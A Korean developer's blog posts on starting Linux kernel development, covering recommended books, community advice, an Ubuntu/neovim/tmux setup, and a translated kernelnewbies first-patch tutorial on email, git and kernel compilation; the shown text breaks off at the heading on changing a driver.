아직 나도 읽어보는 중이지만, 주로 인터넷 상에서 추천받는 책들은 다음과 같다.

`운영체제론계의 바이블`: Operating System Concepts

`운영체제론을 조금 쉽게 읽고 싶다`: Operating System Three Easy Pieces

`리눅스 공부를 해보자`: Understanding Linux Kernel

`유닉스 시스템에 대한 이해도를 높이고 싶다`: Advanced Programming in the UNIX Environment 

커널이 운영체제론에서 핵심으로 다루기 때문에 운영체제론을 공부하는것이고, 리눅스의 시스템에 대해 수정을 하려고 하면 그에 대한 이해도가 필요하기때문에 리눅스를 공부하는것이다.

# 시작하기전, 알아야 할 내용들

내가 어떤 부분에 기여를 하고 싶은지에 대해 알아야 한다. [kernelnewbies의 이 글](https://kernelnewbies.org/StartKernelHacking)의 내용을 한번 읽어보자. 그런데 나는 이런 생각이 들더라. 

>   '아? 어느 서브시스템을 골라야 좋지? 뭘 골라야 좋은거야? 고르면 이제 뭘 해야하는데?'

당연하다. 서브시스템이란게 있는지 방금 막 알았는데 뭘 해야하는지 어떻게 알겠는가..? 그런데 위의 글에서는 이런경우 driver들의 TODO 파일을 읽어 수정할 사항이 있는지 확인하라는 말이 있다. 그러니까 일단 모르겠으면, 드라이버들에서 해결하기를 요구하는 작업들을 한번 찾아보라는것이다.



그래서 drivers/staging/qlge/ 폴더에 있는 TODO 하나를 열어봤는데 그 중 하나가 다음과 같더라.

```
* commit 7c734359d350 ("qlge: Size RX buffers based on MTU.", v2.6.33-rc1)
  introduced dead code in the receive routines, which should be rewritten
  anyways by the admission of the author himself, see the comment above
  ql_build_rx_skb(). That function is now used exclusively to handle packets
  that underwent header splitting but it still contains code to handle non
  split cases.
* truesize accounting is incorrect (ex: a 9000B frame has skb->truesize 10280
  while containing two frags of order-1 allocations, ie. >16K)
* while in that area, using two 8k buffers to store one 9k frame is a poor
  choice of buffer size.
* in the "chain of large buffers" case, the driver uses an skb allocated with
  head room but only puts data in the frags.
* rename "rx" queues to "completion" queues. Calling tx completion queues "rx
  queues" is confusing.
* struct rx_ring is used for rx and tx completions, with some members relevant
  to one case only
* there is an inordinate amount of disparate debugging code, most of which is
  of questionable value. In particular, qlge_dbg.c has hundreds of lines of
  code bitrotting away in ifdef land (doesn't compile since commit
  18c49b91777c ("qlge: do vlan cleanup", v3.1-rc1), 8 years ago).
* triggering an ethtool regdump will hexdump a 176k struct to dmesg depending
  on some module parameters.
* the flow control implementation in firmware is buggy (sends a flood of pause
  frames, resets the link, device and driver buffer queues become
  desynchronized), disable it by default
* some structures are initialized redundantly (ex. memset 0 after
  alloc_etherdev())
* the driver has a habit of using runtime checks where compile time checks are
  possible (ex. ql_free_rx_buffers(), ql_alloc_rx_buffers())
* reorder struct members to avoid holes if it doesn't impact performance
* in terms of namespace, the driver uses either qlge_, ql_ (used by
  other qlogic drivers, with clashes, ex: ql_sem_spinlock) or nothing (with
  clashes, ex: struct ob_mac_iocb_req). Rename everything to use the "qlge_"
  prefix.
* avoid legacy/deprecated apis (ex. replace pci_dma_*, replace pci_enable_msi,
  use pci_iomap)
* some "while" loops could be rewritten with simple "for", ex.
  ql_wait_reg_rdy(), ql_start_rx_ring())
* remove duplicate and useless comments
* fix weird line wrapping (all over, ex. the ql_set_routing_reg() calls in
  qlge_set_multicast_list()).
* fix weird indentation (all over, ex. the for loops in qlge_get_stats())
* fix checkpatch issues
```



이제 공부를 하는 방법은 크게 두가지로 정리 되는거같다.

1.  TODO의 내용을 이해하고 수정할 수 있으면, 그냥 그렇게 시작하면 된다.
2.  그게 아니라면, 리눅스에 대한 공부가 더 필요한것이다.

아마 대부분은 2번일것이고, 그 2번에 대해 '어떻게?' 라는 물음을 갖고 있어서 온 것이라고 생각한다.

[kldp에 비슷한 고민에 대한 해결책이 올라와있다.](https://kldp.org/node/159615) 이 글에서 특히 기억에 남는 내용들은 다음과 같다.

>커널공부는 분량이 상당히 많고 시간이오래걸립니다. 그리고 그냥하셔서는 절대안되는 분야입니다. 그시간이 너무 오래걸리기때문에 공부과정중에 반드시 어떤 학위라던가 회사경력등이 있어야지 혼자 집에서 공부한다고하면 그시간이지나서 공부를 잘했다해도 시간동안 사회적 결과물이 없는 상태가됩니다.
>
>-jw8704님

>   리눅스 커널 그 자체는 매우 생소하고 또한 바다와 같아서 어느 코드를 먼저 봐야 할 지 감을 잡기 어렵습니다.
>
>   -AustinKim님

>   커널 개발자들은 정말 대단하지만 그만큼 대단한 개발자들이 커널개발을 하게되더라구요.
>
>   그래도 공부할 커리큘럼이 필요하시면 이걸 참고하시는것도 방법일것 같습니다.
>
>   <https://github.com/gurugio/lowlevelprogramming-university>
>   -gurugio님

jw8704님 말을 듣고 여러 생각을 하게 되었다. 확실히 맞는 말이긴하다. 응용프로그램 개발에 대한 공부도 틈틈히 해 나가면서 내 살길은 만들어 놔야겠다는 생각을 했다.

AustinKim님은 추가적으로 '리눅스 커널이 buildable한 보드를 사용해 빌드부터 시작하고, 그 이후에 캐릭터 디바이스 수준의 드라이버들을 작성하기 시작한 뒤, 커널 함수를 사용할때마다 관련 커널 함수들을 공부하는것을 추천한다' 고 말씀하시더라. 그러다보면 관심있는 분야가 생기기 마련이고, 이때 메일링 리스트를 구독하는것이라고 하시더라.

gurugio님이 추천한 저 링크의 커리컬럼도 꽤 괜찮은거같다. 그래서 앞으로는 저걸 좀 많이 참고하면서 공부해볼까 한다.



사실 나는 그냥 '아 리눅스 커널 개발 하고싶다!'로 시작하여, 구글링 후에는 '아니! 그러니까 단순히 빌드하는것 말고! 나는 수정을 하고 뭔가 코드를 짜고 싶단 말이야!' 라는 생각이 들었고, '드라이버 부터 분석을 시작하는게 좋다'는 허태준님의 말씀을 듣고 무작정 USB쪽 코드를 읽어보려 했는데, 내가 가졌던 물음은

>   이 코드는 뭐하는 코드지?

>   얘는 또 뭐하는 놈이지? 쓰이긴 하나?

>   도대체 어디서부터 읽기 시작해야하는거야?

였다.



아직 기반 지식이 부족한것이었다. 나의 경우는 앞으로 갖고있는 라즈베리파이를 활용하여 드라이버를 작성하거나 갖고있는 안드로이드폰인 OnePlus 3T를 써서 일단 빌드를 시작하고, 몇가지 드라이버도 짜보면서(아직 구체적인 계획은 없다.) gurugio님의 커리큘럼을 따라가볼까 한다.

틈틈히 kotlin도 좀 공부해야겠다는 생각이 들었다. -.-

지금 가장 좋아하는 파이썬은 응용프로그램 개발보단 분석이나 인공지능쪽에 많이 쓰이는것 같으니까.

---

## File: _posts/2019-10-2-apue68.md

[Binary file]

---

## File: _posts/2019-10-4-linux-setup69.md

---
layout: post
title: Linux setups for kernel development
date: 2019-10-4 17:8:00 +0900
categories: [unix, linux]
---

# Linux setups for kernel development

## 서론
최근 나는 리눅스 커뮤니티 등지에서 활동하는 오픈소스 개발자가 되는것을 목표로 운영체제 공부를 시작했다. APUE(Advanced Programming in the UNIX Environment)와 공룡책(Operating System Concepts)책을 읽기 시작한것도 그 때문이다.

최근 너무 이론 공부만 한것같아 코드를 작성하고 싶어서, 개발 환경을 구축하고싶었다.  
일단 나는 macOS를 사용하고 있기 때문에 VMware위에 Ubuntu 18.04.3 LTS를 설치했다. 그러니 배경이 되는 환경은 Ubuntu 18.04.3 LTS 이다.

## 현재 만들어진 환경
0. TMUX + SSH + Disabled GUI
- macOS의 셸에서 네이티브로 개발하는 느낌을 내기 위해서
- GUI 리소스를 줄이기 위해서
1. Nvim + Vundle
- ycm
- auto-pairs
- autocomplpop
- vim-airline
- vim-airline-themes
- vim-easytags
- vim-misc
2. ssh 자동로그인

## Step-by-step
### 일단 프로그램 설치부터!
SSH, TMUX, nvim을 설치하고, 필요없는 패키지들을 삭제하는 명령어이다.
```bash
sudo apt update;sudo apt upgrade;sudo apt install -y git cmake ctags clang openssh-server tmux neovim python3-neovim python3-dev mutt sendmail libncurses5-dev gcc make git exuberant-ctags libssl-dev bison flex libelf-dev bc codespell python3-pip;sudo apt remove -y --purge firefox libreoffice*; sudo apt clean -y;sudo apt autoremove -y;
```

### SSH 서버 설정
나는 기본 설정을 그대로 사용할것이라서 그냥 다음의 명령어로 서비스만 켜주었다.
```bash
sudo service ssh start
```

위의 두가지를 한번에 실행시키는 명령어이다.

```bash
sudo apt update;sudo apt upgrade;sudo apt install -y git cmake ctags clang openssh-server tmux neovim python3-neovim python3-dev mutt sendmail libncurses5-dev gcc make git exuberant-ctags libssl-dev bison flex libelf-dev bc codespell python3-pip;sudo apt remove -y --purge firefox libreoffice*; sudo apt clean -y;sudo apt autoremove -y;sudo service ssh start;
```

### TMUX 사용법 익히기
[https://seulcode.tistory.com/144] 
이곳의 설명을 참고하면서 잘 쓰고 있다.

### Nvim 설정
#### 실행시키기 편하게!
일단 .bashrc에
```bash
alias "vi"="nvim"
alias "vim"="nvim"
```
을 적어둠으로써 기존에 vim을 실행시키듯 nvim을 실행시킬 수 있도록 하였다.

#### init.vim 설정
macOS에서 쓰던 init.vim을 그대로 넣어주었다.
```
colorscheme kalisi
set t_Co=256
set number
set hlsearch
set ruler
set ignorecase
set showcmd
set wildmenu
set nocompatible
set autoindent
set cindent
set laststatus=2
set tabstop=4
set showmatch
set fileencodings=utf-8,euc-kr
set shiftwidth=4
set noexpandtab
set backspace=indent,eol,start
set nowrap
set nobackup
set smartindent
set background=dark
set encoding=utf-8
set nocompatible
filetype off
filetype plugin on
set tags+=/usr/include/tags
set rtp+=~/.config/nvim/bundle/Vundle.vim
call vundle#begin('~/.config/nvim/bundle')
 
Plugin 'VundleVim/Vundle.vim'
Plugin 'Valloric/YouCompleteMe'
Plugin 'jiangmiao/auto-pairs'
Plugin 'AutoComplPop'
Plugin 'vim-airline/vim-airline'
Plugin 'vim-airline/vim-airline-themes'
Plugin 'xolox/vim-easytags'
Plugin 'vim-misc'

call vundle#end()

autocmd FileType html :AcpDisable
"ycm
let g:ycm_global_ycm_extra_conf = '/Users/yeongyu/.config/nvim/bundle/YouCompleteMe/.ycm_extra_conf.py'
let g:ycm_confirm_extra_conf = 0
let g:ycm_key_list_select_completion = ['', '']
let g:ycm_key_list_previous_completion = ['', '']
let g:ycm_autoclose_preview_window_after_completion = 1
let g:ycm_warning_symbol = '>*'
let g:ycm_server_python_interpreter = '/usr/local/bin/python3'
"AutoComplPop
function! InsertTabWrapper()
let col = col('.') - 1
if !col || getline('.')[col-1]!~'\k'
return "\<TAB>"
else
if pumvisible()
return "\<C-N>"
else
return "\<C-N>\<C-P>"
end
endif
endfunction

"inoremap <tab> <c-r>=InsertTabWrapper()<cr>

hi Pmenu ctermbg=blue
hi PmenuSel ctermbg=yellow ctermfg=black
hi PmenuSbar ctermbg=blue

set tags=./tags,tags
```
이걸 ~/.config/nvim/init.vim 에 넣어주었다.

#### 플러그인 설치: Vundle부터!
```bash
git clone https://github.com/VundleVim/Vundle.vim.git ~/.config/nvim/bundle/Vundle.vim
```
이후에, nvim을 실행한뒤  
:PluginInstall  
명령어를 실행하면 플러그인들이 다 설치가 된다. 그러나 아직 하나 문제가있는데, 그것은 바로 ycm(You Complete Me)가 아직 컴파일 되지 않았다는 점.

##### YCM 설정
ycm이 설치된 폴더인 ~/.config/nvim/bundle/YouCompleteMe 에 들어가서 다음의 명령어로 실행을 한다.
```bash
python3 install.py --clang-completer
```
그러면 이제 문제없이 설정이 된 모습을 볼 수 있다.

### GUI Disable
일단 나의 경우에는 '혹시나' GUI가 필요한 환경이 생길 수 있을까봐 (동아리에서 리눅스를 사용해야하는 경우가 있어서) 서버 버전으로 굳이 설치하지 않았는데, 그런 나를 위해서 평소에는 gui를 꺼둘 필요가 있었다. 이 역시 다음의 명령어로 가능하다.
```bash
sudo systemctl set-default multi-user.target
```

만약 필요할 경우에는 다음의 명령어로 gui를 다시 활성화 해주도록 하자.
```bash
sudo systemctl set-default graphical.target
```

# SSH 자동로그인
```bash
scp ~/.ssh/id_rsa.pub <계정명>@<ip>:~/.ssh/authorized_keys
```

---

## File: _posts/2019-10-5-linux70.md

---
layout: post
title: KernelNewbies - FirstKernelFetch
date: 2019-10-5 20:24:54 +0900
categories: [unix, linux, development]
---

### Before we begin
본 게시글은 <https://kernelnewbies.org/FirstKernelPatch> 을 번역한 글입니다. 본 번역글과 관련하여 문제가 있으시다면 public.kim.yeon.gyu@gmail.com 으로 이메일 부탁드립니다.  
This post is a translated post which is at <https://kernelnewbies.org/FirstKernelPatch>. If you think that there's any problem with this translated post, please contact me via my email .

100% 정확한 번역보다는 이해하기 쉬운 의역을 추구했습니다. 영어 실력이 훌륭하지 않은 관계로 다수의 오역이 포함되어 있을 수 있습니다. 양해부탁드립니다.

# 소개
이 튜토리얼은 어떻게 첫 패치를 제출 할 수 있는지에 대해 다룹니다. 이 튜토리얼을 위해 이 세가지중 하나를 해야 하는데요.
1. 리눅스를 가상머신에서 구동하기
2. 리눅스를 네이티브 환경에서 구동하기
3. 리눅스에서 리눅스를 가상머신으로 구동하기

저는 리눅스를 네이티브로 구동하는것을 추천드립니다. 대부분의 리눅스 커널 개발자들이 리눅스를 네이티브로 구동하고있고, 그래서 익숙해지는것이 낫습니다.  
리눅스를 가상머신에서 구동하고 싶으시다면, [본 게시글](https://kernelnewbies.org/OPWfirstpatchAlt) 을 참고해주세요. (이 게시글의 번역본도 조만간 업로드 하겠습니다.)  
알아두셔야 할 점은, 맥에서는 리눅스를 컴파일 할 수 없다는 점입니다. 왜냐하면 맥의 파일시스템은 기본적으로 대소문자를 구분하지 않거든요.

이 튜토리얼에서는 독자가 Ubuntu 나 Debian을 사용하고 있다고 가정합니다. 만약에 Fedora나 Suse, Arch, Gentoo 등의 배포판을 사용하고 계시다면 패키지 설치 명령어 혹은 패키지 이름이 조금 다를 수 있습니다. 진행하다가 막혀서 도움이 필요하시다면 irc.oftc.net의 #kernelnewbies 에서 도움을 요청하세요. 여담으로, kernelnewbies의 봉사활동에 지원하고 싶으시다면 irc.oftc.net의 #kernel-outreach 에서 물음을 구해보세요.

추가적으로, irc.oftc.net을 통해 물음을 구할때는, 다운로드 제한이 없고, 안정적인 인터넷 연결인 상태에서 시도하는것을 강력히 권장합니다. IRC를 통한 통신은 인터넷이 계속 지연되거나 끊기게 되면 어려울수 있거든요. 그래서 안정적인 인터넷 연결을 권장합니다. 처음 커널을 다운로드를 하는것은 5기가가 넘는 데이터를 사용할테니 유선인터넷이나 무제한 인터넷 요금제를 통해 다운로드 하는것을 권장합니다.

# 개요
이 튜토리얼에서는 다음과 같은것들을 어떻게 해야하는지 다룹니다.
- 도구 설정하는 법
- 커널 트리(커널 구조) 살펴보기
- git 기초
- 내 커널을 업데이트 하는 방법
- 드라이버에 변경사항 만들기
- 첫 패치 만들기
- 잘된 패치 사례들을 이해하기
- 없앨 드라이버 찾기
- 변경사항 커밋하기
- 패치 제출하기
- 멘토에게 패치를 보내기
- 이메일에 답장하기
- 내 패치 수정하기
- 패치모음(patchset)을 제출하기

# 도구 설정하는 법
시작하기 위해 몇가지 소프트웨어들을 다운로드하고 설치하고 설정할 필요가 있습니다. 이 [설정 지시사항](https://kernelnewbies.org/OutreachyfirstpatchSetup)를 따라해보세요.

## vim 설정
(이미 리눅스를 설치하셨고 emacs나 nano같은 에디터를 사용하는데에 익숙해지셨다면, 계속 그 에디터를 사용하셔도 되니 이 목차는 생략하셔도 됩니다. 다만 gvim은 사용할 수 없습니다.)

#### 팁
Vim은 몇가지의 모드를 갖고있는 간단한 텍스트 에디터입니다. 처음에는 Standard 모드에서 시작하고, j키나 k키, 혹은 방향키로 커서를 위아래로 옮길 수 있고, h키나 l키, 혹은 방향키로 커서를 왼쪽 오른쪽으로 옮길 수 있습니다. i키를 입력함으로써 Insert 모드로 들어 갈 수 있습니다. 이제 텍스트를 수정할 수 있어요. ESC로 다시 Standard모드로 돌아갈 수 있습니다. 파일을 저장하기 위해서는, Standard모드로 들어가서 :w(엔터) 를 타이핑하면 됩니다. vim을 나가기 위해서는 :q(엔터) 를 누르면 되고요. vim에 대하여 더 알고싶다면 꽤 재밌는 게임인 [VIM adventures game](https://vim-adventures.com/)을 해보세요.

먼저, 들여쓰기 기능을 켜야합니다. 이 기능을 키는것은 줄들이 코드의 논리적인 흐름에 따라 자동적으로 들여쓰기 될것을 보장합니다. 탭키를 누르는 횟수를 줄일 수 있겠죠? 파일타입에 기반하여 자동 들여쓰기 기능을 켤 수 있습니다. 먼저, 다음과 같은 명령어를 입력하세요.
```bash
vim ~/.vimrc
```
그리고는 이런 내용을 추가하세요.
```
filetype plugin indent on
```
추가적으로, 문법에 따라 색으로 강조를 해주는 기능과 파일이름을 터미널의 타이틀바에 표시하기를 원한다면 이 내용도 추가하세요.
```
syntax on
set title
```
대부분의 배포판은 vim을 컴파일 하기 때문에 8 스페이스 탭이 기본값인데요, 기본값이 아닐 경우에는 .vimrc 다음의 내용도 추가하세요.
```
set tabstop=8
set softtabstop=8
set shiftwidth=8
set noexpandtab
```
이 내용들은 다음의 명령어를 vim에서 실행하는것과 같은 기능을 합니다.
```
:set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab
```
### Vim을 기본 에디터로 설정하기
nano 대신에 vim을 기본 에디터로 설정하기 위해서는 다음의 명령어를 실행해야합니다. 다시한번 말하지만, vim이 아닌 다른 에디터를 사용중이시라면 마찬가지로 생략하셔도 됩니다.
```bash
sudo update-alternatives --config editor
```
그 다음에 /usr/bin/vim.basic을 기본 에디터로 설정하시면 됩니다.

## 이메일 설정하기
리눅스 커널 패치를 보내려면, 리눅스 컴퓨터에서 이메일을 보낼 수 있어야합니다. 이를 위해서는 Esmtp가 필요한데요. [리눅스를 네이티브로 설치할때의 지시사항](https://kernelnewbies.org/OutreachyfirstpatchAlt?action=show&redirect=OPWfirstpatchAlt) 을 따라 하신다면 Esmtp설정도 하실 수 있습니다. (이 게시글의 번역본도 조만간 업로드 하겠습니다.)  
Esmtp는 메일 전송 에이전트입니다. 이메일을 gmail과 같은 이메일에 라우팅하는 기능을 하죠. esmtp에 어떤 정보를 주어야할지 알기 위해서는, 메일서버 설정을 보아야합니다.  
또한 [승인된 이메일 클라이언트](http://elixir.free-electrons.com/linux/latest/source/Documentation/process/email-clients.rst)를 설치할 필요가 있는데요. 이 프로그램을 커널 봉사활동(outreach-kernel) 메일링 리스트에 답장하는데 사용하세요. 뒤의 설명들은 mutt 이메일 클라이언트를 사용하고 있다고 가정하고 있습니다만, Evolution과 같은 더 쉬운 GUI 이메일 클라이언트를 사용해도 좋습니다.

#### Gmail 설정
Gmail에서는 톱니바퀴 모양 아이콘을 누르고, "설정" -> "전달 및 POP/IMAP" -> "IMAP 사용" -> "변경사항 저장" 순으로 진행하시면 됩니다.

*Yahoo 설정법도 있습니다만, 한국에는 Yahoo 유저가 없으므로 생략했습니다.*

### Esmtp 설정하기
**알아두실점:** 만약 다른 MTA(메일 전송 에이전트)가 설치되어 있다면, 굳이 esmtp를 설치하실 필요는 없습니다. 대신, .muttrc 파일에서 "sendmail" 줄의 경로가 자신의 MTA가 되도록하세요. Mutt는 ssmtp를 기본값으로 사용하기 때문에, MTA가 sstmp라면 그 줄을 통째로 날려버리셔도 됩니다.

먼저, 올바른 권한과 함께 .esmtprc 파일을 생성합시다.
```bash
touch ~/.esmtprc
chmod g-rwx ~/.esmtprc
chmod o-rwx ~/.esmtprc
```

홈 디렉토리 안에있는 .estmprc 파일을 수정하시고, 다음과 같은 줄들을 추가해주세요.
```
identity "my.email@gmail.com"
hostname smtp.gmail.com:587
username "my.email@gmail.com"
password "ThisIsNotARealPassWord"
starttls required 
```

그 다음에는 홈 디렉토리에 .muttrc 파일을 만듬으로써 mutt 메일 클라이언트를 설정해주세요.
```
set sendmail="/usr/bin/esmtp"
set envelope_from=yes
set from="Your Name <my.email@gmail.com>"
set use_from=yes
set edit_headers=yes
```

### 이메일 설정 테스트하기
그 다음에, mutt을 통하여 테스트 이메일 메시지를 날려봅시다.
```
mutt
```
지금은 일단 inbox를 만든다는 질문에 no라고 답하세요. 'm'을 눌러서 새 메시지를 생성하세요. 테스트 메시지를 보낼 이메일 주소를 적으세요. 제목은 알아서 작성하고 싶은대로 작성하세요. body안에 메시지를 적고 저장하신뒤에 나가세요. 메시지를 보낼때는 'y'키를 누르시면 되고, 수정하고 싶다면 'e'키를 누르시면 됩니다. 메시지 전송을 중단하려면 'q'를 누르시면됩니다.  
이메일을 받았는지 확인해보세요.  
만약 mutt가 작동되지 않는다면 다음의 명령어를 시도해보세요.

```
mutt -d 2
```
이 명령어는 문제 찾기를 도와주는 .muttdebug 라는 파일을 만들것입니다.

(뒤의 내용은 추가 게시글 혹은 게시글 수정을 통하여 업데이트 될것입니다.)

## git 설정하기
일단, git에게 자신의 이름과 이메일을 알려주어야합니다. 그래야 git commit에서 누가 이 내용을 작성했는지 알 수 있죠. .gitconfig 라는 파일을 생성한뒤 이러한 내용들을 넣습니다.

```
[user]
   name = Your Name
   email = your.email@example.com 
```

**이곳에 적는 이메일이 이메일 설정하기 작업에서 했던것과 동일한 이메일이 되도록 하세요.** 리눅스 커널 개발자들은 커밋 정보의 "From" 이메일과 "Signed-off-by" 이메일이 다른 패치를 허용하지 않습니다.  

이름 칸에다가는 법적 이름을 적도록 하세요. 패치할 Signed-off-by 를 추가함으로써 당신은 [Developer's Certificate of Origin](http://lxr.free-electrons.com/source/Documentation/process/submitting-patches.rst)을 읽고 이해한것으로 간주됩니다. 커널에 패치를 보내기 전 저 문서를 읽어주세요.

 

# 커널 트리(커널 구조) 살펴보기

먼저 터미널을 열어주세요.

#### 팁

언제든 <Ctrl>+d 를 누르는것으로 터미널 탭이나 터미널 창에서 빠져나올 수 있습니다. 이 방법은 아무런 프로세스도 죽이지 않기때문에 터미널을 종료하는 바람직한 방법입니다. 터미널을 열었다 닫았다 하면서 이 방법으로 터미널에서 빠져나가는 방법에 익숙해지세요.



[미리](https://kernelnewbies.org/OutreachyfirstpatchSetup?action=show&redirect=OPWfirstpatchSetup) 설정해둔 디렉토리로 이동하세요. 

```bash
cd /get/kernels/staging
```

이것이 리눅스 커널 트리입니다. `ls` 명령어나 `cd` 명령어로 탐색하실 수 있습니다.  

`ls`를 하게 되면 몇가지 다른 폴더들을 보시게 될텐데요.

```intern@ubuntu:~/git/kernels/staging$ lsCOPYING  Documentation  Kconfig      Makefile  arch   certs   drivers   fs       init  kernel  mm   samples  security  tools  virtCREDITS  Kbuild         MAINTAINERS  README    block  crypto  firmware  include  ipc   lib     net  scripts  sound     usr

```

사실은 눈으로 보이는것보다 더 많은 디렉토리가 있습니다! `ls -a` 명령어를 실행하시게 되면, `.git` 이라 불리는 숨겨진 디렉토리를 보실거에요. 이 디렉토리는 git이 branch 추적, 원격 저장소, 로컬 디렉토리에 있는 파일을 수정하곤 할 때 사용됩니다.

커밋 기록들이 보고싶으시다면,

```bash
git log
```

명령어로 볼 수 있고, 보다 간결한 형식을 원한다면 다음의 명령어를 실행하면 됩니다.

```bash
git log --pretty=oneline --abbrev-commit
```

# git 기초

Git은 분산 버전 관리 시스템입니다. 따라서 내 코드의 버전을 다른 개발자들과 이야기하면서 귀찮게 맞출 필요 없이 프로그래밍 할 수 있다는 것이죠. 나의 git checkout을 커널 저장소의 분리된 복사본이라고 생각하세요.  

Git은 branch 기능을 지원합니다. 각각의 branch는 완전히 다른 패치들을 가질 수 있습니다. 커널 개발자들은 보통 패치모음(patchset)별로 Branch를 사용합니다. 예를 들어서, 하나의 버그 수정을 담고있는 하나의 branch가 있을 수 있고, 나머지 하나의 branch는 작업중인 새로운 기능이 담긴 커밋을 담고있는 커밋이 될 수 있습니다.

`git branch` 명령을 통해서 내가 현재 어느 branch에 있고, 다른 branch들이 뭐가 있는지 볼 수 있습니다.

```bash
intern@ubuntu:~/git/kernels/staging$ git branch
 * staging-testing 
```

이 경우, staging-testing이라는 하나의 branch 밖에 없죠? 별 특수문자는 현재 내가 작업하고 있는 branch가 staging-testing이라는것을 말합니다. git 식으로 말하자면, 현재 master branch를 'check out' 했다고 합니다.  

'first-patch' 라는 branch를 만들고, 해당 branch를 다음 명령어를 통해 checkout 하세요.

```bash
git checkout -b first-patch
```

git branch를 실행시켰다면, 현재 "first-patch" branch에 있고, 두가지의 branch가 있다는것을 알 수 있습니다.

```bash
intern@ubuntu:~/git/kernels/staging$ git branch -a
* first-patch
  staging-testing
  remotes/origin/HEAD -> origin/master
  remotes/origin/master
  remotes/origin/staging-linus
  remotes/origin/staging-next
  remotes/origin/staging-testing
  remotes/origin/test
```

git checkout을 만들기 위해 사용되었던 첫번째 git 원격 저장소는 "origin" 이라고 불립니다. 지금 시점에서, "origin"은 그저 Greg Kroah-Hartman의 staging git 저장소라는점을 알아두세요. 이제 staging remote가 master, staging-linus, staging-next, staging-testing, test 이렇게 다섯개의 branch를 갖고있는것을 보실수 있는데요. staging-linus branch는 릴리즈될 후보 커널의 버그 수정 패치를 포함하고 있고, staging-next branch는 다음 커널 릴리즈를 위한 패치를 포함하고 있습니다. 나의 패치들은 staging-testing으로 들어갈것입니다. 그러니 당신의 모든 branch의 기반을 staging-testing으로 하세요. Greg는 첫 패치를 staging-testing에 제출합니다. 그 패치들은 그 후에 staging-next로 옮겨지죠.

# 내 커널을 업데이트 하는 방법

첫 어플리케이션 clean-up 패치를 만들 때, 패치들을 staging-testing 트리의 탑에 만들고 싶을겁니다. 만약에 내 패치가 오래된 버전이고 최신버전의 트리에 적용되지 않았다면, 아마 거부당할겁니다.  그래서 다음의 명령어로 최근 수정사항을 반영할 필요가 있습니다.

```bash
git fetch origin
```

위 명령의 세번째 단어는 어느 원격 저장소에서 가져올지를 의미합니다. 이 경우에서는 origin, 즉 우리가 초기에 clone해온 원격 저장소네요.(staging repository 말입니다.)  

이 명령은 원격 저장소로부터 수정사항을 가져올것이지만 실제 파일들을 수정하지는 않을것입니다.

```bash
git log
```

명령어를 실행하면 현재 작업중인 디렉토리가 여전히 본래의 커밋을 가리키고 있다는것을 알 수 있습니다. 그렇다면 현재 수정사항의 staging tree는 어디에 있을까요?  

git은 `.git` 이라는 특별한 디렉토리에 변경사항들을 저장합니다. git log 에 origin의 "staging-testing" branch를 주는것으로 staging 저장소의 역사를 볼 수 있습니다.

```bash
git log origin/staging-testing
```

다음으로, 이제 staging tree에 변경사항을 포함시키기 위해 branch를 업데이트 해야합니다. 업데이트를 하기 위한 가장 안전한 방법은 나의 branch를 "rebase" 하는것인데요, 이 말은 만약 내 브랜치에 어떤 커밋이 있다고 하더라도 staging tree의 최신 내용들로 덮어씌워질것입니다. 가끔 충돌이 나면 커밋을 수정해야 할 수도 있는데요. 그런 상황에서는 멘토에게 도움을 청하시면 됩니다. 어찌됬든 지금은, 다음의 명령어를 입력하세요.

```bash
git rebase origin/staging-testing
```

 `git log` 명령어를 실행해서 staging branch의 역사를 본 뒤에 `git log origin/staging-testing` 명령어를 실행해서 staging-testing 의 branch 역사를 봐보세요.  

정확히 같은 결과가 나오죠? :)

## 커널 설정하기

그 다음 단계는 커널 설정파일을 생성하고, 새 커널을 컴파일 한 뒤 설치하는 과정에 대해 다룹니다.  

제일 먼저 알아야 할것은, 리눅스 커널은 어떠한 부분이든 설정이 가능하다는 점입니다. 각각의 드라이버들은 독립적으로 설치가 될지 안될지 설정 될 수 있습니다. 드라이버 설치에는 세가지의 옵션이 있는데요.

-   드라이버를 완벽히 비활성화 하거나
-   드라이버를 메인 커널 파일 안에 빌드 하거나 (vmlinuz)
-   모듈로 빌드 하는것

이렇게 세가지가 있습니다.  

드라이버를 메인 커널 안에 빌드하게 되면, 부팅될때 로드 됩니다. 이 경우, 커널의 밑부분은 부팅시에 시스템에게 응답하지 않을수도 있는 하드웨어를 위해 더 많은 코드를 로드하게 됩니다. 이것을 막기 위해서 커널 개발자들은 드라이버를 주로 "모듈"로 빌드하곤 합니다. 모듈은 커널이 드라이버에 맞는 하드웨어를 발견했을때 로드되는, 단독적으로 돌아가는 .ko 확장자의 드라이버 파일입니다. 그러니까 정리하자면, WiFi 드라이버를 모듈로서 설정할 수 있고, 커널은 WiFi 카드를 감지했을때 그 모듈을 로드 한다는거죠.  

리눅스 커널의 make 시스템은 어떤 드라이버들이 커널안에 컴파일 되어있는지, 모듈로 컴파일 되어있는지를 저장하는 .config 라는 특별한 파일을 사용합니다. 대부분의 리눅스 배포판들은 배포된 커널을 컴파일 하기 위해 사용한 .config 파일을 /boot/ 디렉토리에 저장하고있습니다.

```bash
intern@ubuntu:~/git/kernels/staging$ ls /boot/
System.map-4.8.0-2-amd64  System.map-4.9.0-rc8-amd64  config-4.9.0-1-amd64    grub                      initrd.img-4.9.0-1-amd64    lost+found             vmlinuz-4.9.0-1-amd64
System.map-4.9.0-1-amd64  config-4.8.0-2-amd64        config-4.9.0-rc8-amd64  initrd.img-4.8.0-2-amd64  initrd.img-4.9.0-rc8-amd64  vmlinuz-4.8.0-2-amd64  vmlinuz-4.9.0-rc8-amd64
```

config-* 파일을 나의 git tree 의 .config 파일에 복사함으로써 우리는 배포판의 설정을 복제 할 수 있습니다. 이것은 가상머신의 이미지 안에서 항상 이루어져 왔던 일입니다.

커널 설정에 관한 더 많은 내용은 [이곳](https://www.linuxjournal.com/content/kbuild-linux-kernel-build-system)에서 보실 수 있습니다.



## 커널 컴파일 하기

다음으로, 새 커널을 컴파일 하기위 해서는 `make` 를 실행시킬 필요가 있습니다. 추가적으로, 컴파일을 시작할때 얼마나 많은 쓰레드를 사용할지 알려주는 옵션도 줄 수 있습니다. 보통 내 기기의 CPU 개수만큼 숫자를 잡곤 합니다. 그러니까, 만약 듀얼코어라면

```bash
make -j2
```

이렇게 줄 수 있다는거죠. 아마 이 과정은 시간이 꽤 걸릴겁니다. 기다리는동안 [Linux Device Drivers Book](https://lwn.net/Kernel/LDD3/)을 읽는것을 추천드립니다.

# 드라이버에 변경사항 만들기

